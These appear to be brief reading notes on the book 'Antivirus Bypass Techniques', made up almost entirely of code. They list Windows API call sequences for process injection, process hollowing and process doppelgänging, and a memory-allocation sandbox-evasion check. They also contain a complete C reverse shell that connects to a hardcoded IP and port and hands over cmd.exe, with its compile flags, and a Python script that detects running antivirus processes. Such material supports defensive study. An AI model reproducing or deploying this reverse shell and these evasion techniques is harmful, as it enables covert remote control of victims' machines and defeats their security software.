读书笔记《antivirus-bypass-techniques》

OpenProcess---->VirtualAllocEx---->WriteProcessMemory---->CreateRemoteThread---->LoadLibrary/GetProcAddress

CreateProcess---->ZwUnmapViewOfSection/NtUnmapViewOfSection---->VirtualAllocEx---->WriteProcessMemory---->SetThreadContext and ResumeThread

CreateFileTransacted---->WriteFile---->NtCreateSection---->RollbackTransaction---->NtCreateProcessEx, RtlCreateProcessParametersEx,
VirtualAllocEx, WriteProcessMemory, NtCreateThreadEx,NtResumeThread

int main()
{
    char *memory_bombing = NULL;
    memory_bombing = (char *) calloc(200000000, sizeof(char));
    if(memory_bombing != NULL)
    {
        free(memory_bombing);
        payload();
    }
    return 0;
}

#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#pragma comment(lib, "Ws2_32.lib")
#define DEFAULT_BUFLEN 1024


void RunShell(char* C2Server, int C2Port) {
    while(true) {
        Sleep(5000);    // Five Second

        SOCKET mySocket;
        sockaddr_in addr;
        WSADATA version;
        WSAStartup(MAKEWORD(2,2), &version);
        mySocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);
        addr.sin_family = AF_INET;
   
        addr.sin_addr.s_addr = inet_addr(C2Server);  
        addr.sin_port = htons(C2Port);    

        if (WSAConnect(mySocket, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL)==SOCKET_ERROR) {
            closesocket(mySocket);
            WSACleanup();
            continue;
        }
        else {
            char RecvData[DEFAULT_BUFLEN];
            memset(RecvData, 0, sizeof(RecvData));
            int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
            if (RecvCode <= 0) {
                closesocket(mySocket);
                WSACleanup();
                continue;
            }
            else {
                char Process[] = "cmd.exe";
                STARTUPINFO sinfo;
                PROCESS_INFORMATION pinfo;
                memset(&sinfo, 0, sizeof(sinfo));
                sinfo.cb = sizeof(sinfo);
                sinfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
                sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE) mySocket;
                CreateProcess(NULL, Process, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo);
                WaitForSingleObject(pinfo.hProcess, INFINITE);
                CloseHandle(pinfo.hProcess);
                CloseHandle(pinfo.hThread);

                memset(RecvData, 0, sizeof(RecvData));
                int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
                if (RecvCode <= 0) {
                    closesocket(mySocket);
                    WSACleanup();
                    continue;
                }
                if (strcmp(RecvData, "exit\n") == 0) {
                    exit(0);
                }
            }
        }
    }
}

int main(int argc, char **argv) {
    FreeConsole();
    if (argc == 3) {
        int port  = atoi(argv[2]); 
        RunShell(argv[1], port);
    }
    else {
        char host[] = "192.168.0.101";  // change this to your ip address
        int port = 4444;                //chnage this to your open port
        RunShell(host, port);
    }
    return 0;
}

i686-w64-mingw32-g++ socket.cpp -o before_obfuscation.exe
-lws2_32 -lwininet -s -ffunction-sections -fdata-sections
-Wno-write-strings -fno-exceptions -fmerge-all-constants
-static-libstdc++ -static-libgcc -fpermissive

import wmi
print("Antivirus Bypass Techniques by Nir Yehoshua and Uriel
Kosayev")
Proc = wmi.WMI()
AV_Check = ("MsMpEng.exe", "AdAwareService.exe", "afwServ.
exe", "avguard.exe", "AVGSvc.exe", "bdagent.
exe", "BullGuardCore.exe", "ekrn.exe", "fshoster32.
exe", "GDScan.exe", "avp.exe", "K7CrvSvc.exe", "McAPExe.
exe", "NortonSecurity.exe", "PavFnSvr.exe", "SavService.
exe", "EnterpriseService.exe", "WRSA.exe", "ZAPrivacyService.
exe")
for process in Proc.Win32_Process():
    if process.Name in AV_Check:
        print(f"{process.ProcessId} {process.Name}")

pyinstaller --onefile "Antivirus Fingerprinting.py"